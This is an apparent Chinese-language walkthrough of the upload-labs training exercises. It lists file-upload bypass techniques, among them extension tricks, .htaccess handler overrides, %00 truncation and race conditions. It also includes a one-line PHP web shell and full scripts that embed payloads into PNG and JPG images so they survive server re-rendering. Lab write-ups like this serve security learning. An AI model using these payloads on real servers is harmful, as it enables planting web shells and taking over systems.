Pass-01
前端验证,审查元素删除HTML中的onsubmit属性再上传即可
Pass-02
MIME验证抓包修改 Content-Type
为 image/jpeg
后Forward即可
Pass-03
黑名单绕过,上传.phtml
后缀即可
Pass-04
黑名单过滤了大多数后缀,于是上传.htaccess
文件,内容如下,再上传后缀为.jpg
的图片马即可
SetHandler application/x-httpd-php
Pass-05
黑名单过滤的绝大多数后缀名,并未进行大小写转换,于是上传.Php
后缀即可
Pass-06
黑名单绕过,抓包在后缀名最后加上一个空格即可上传绕过
Pass-07
没进行删除末尾的点的函数,抓包在后缀名后加上一个点即可
Pass-08
未过滤::$DATA
,利用Windows解析特性,抓包在后缀名后面添加上::$DATA
即可绕过
php在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名
Pass-09
此处文件路径拼接的是处理后的文件名,于是上传后缀为php. .
的文件即可
Pass-10
函数将黑名单内的后缀名替换成空,这里双写后缀名.pphphp
即可
Pass-11
白名单验证,提示上传路径可控,发现在上传一个文件之后就会get一个文件路径参数,于是利用%00截断,使得文件路径为upload/1.php%00(文件名),后面的文件没就就没读取了,这样访问upload/1.php即可获得木马路径。
版本要求:
php版本要小于5.3.4,5.3.4及以上已经修复该问题
magic_quotes_gpc需要为OFF状态
Pass-12
与上题不一样这题改用了POST方法,一样%00截断抓包改即可,php版本需要注意
因为是十六进制所以这种截断叫做是
0x00截断
,其实是%00截断
最终被url解码
还是会变成0x00
的。在url
中%00
表示ascll
码中的0
,而ascii
中0
作为特殊字符保留,表示字符串结束,所以当url
中出现%00
时就会认为读取已结束。
Pass-13
cmd到两个文件所在路径下用copy命令制作图片马
png:copy 1.png/b + 1.php/a shell.png
jpg:copy 1.jpg/b + 1.php/a shell.jpg
jpg:copy 1.gif/b + 1.php/a shell.gif
制作好后上传,在文件包含漏洞页面getfile参数进行读取解析即可 ?file=./upload/6420200209090636.png
(三种都一样)
Pass-14
后台代码改了,用的getimagesize函数判断后缀,但是解题方法还是和上题一样
Pass-15
本题用了php_exif模块来判断文件类型,图片马一样可以绕过
用于读取一个图像的第一个字节并检查其签名
如果发现了恰当的签名则返回一个对应的常量,否则返回false
Pass-16
参考:https://xz.aliyun.com/t/2657
这题存在对图片的二次渲染
GIF
将做好的GIF图片马上传上去,利用文件包含漏洞进行读取,发现图片中的php代码并没有被解析,并且图片进行了二次渲染重构,内容被改写,于是使用GIF图的处理方法,将图片内容保存下来,与上传前的图片马作比较,发现有一部分没有被重写(如下图),于是将一句话插入到这一部分内容中,保存,重新上传,成功解析
PNG
方法1
这里有国外大牛的脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
但我TM竟然不知道<?=$_GET[0]($_POST[1]);?>
这个怎么利用???!!!
制作好png上传后下载下来成功镶入了那句话,但我还是不知道怎么用。。。算了先放这里
方法2
在PLTE数据块后加入一句话
计算PLTE数据块的CRC
CRC脚本
import binascii
import re
png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
''' PLTE crc '''
data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)
运算结果:526579b0
修改CRC值
将这个图片上传就传上一句话了(反正我是没搞出来)。。。原文中素材链接
JPG
首先准备一张.jpg后缀的文件,上传上去然后将二次渲染后的图片下载下来命名为1.jpg
然后上国外大佬脚本,并且命名为jpg_payload.php
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>"; /*这里插入想插入的一句话代码*/
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
然后执行命令php jpg_payload.php 1.jpg
显示Success!
即成功,装换后的文件名为payload_1.jpg
将payload_1.jpg
上传,php代码成功被解析
Pass-17
条件竞争,利用burp的intruder模块,不停的发送数据包,就可以连接上,我硬是开了3个intruder模块才访问的到网页
Pass-18
同样条件竞争,让发包的速度快过函数rename()的速度即可成功上传
Pass-19
保存名称那里在后缀,名加上一个/.
、.(空格)
或.
;move_uploaded_file()
还有一个特性,会忽略掉文件末尾的.
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues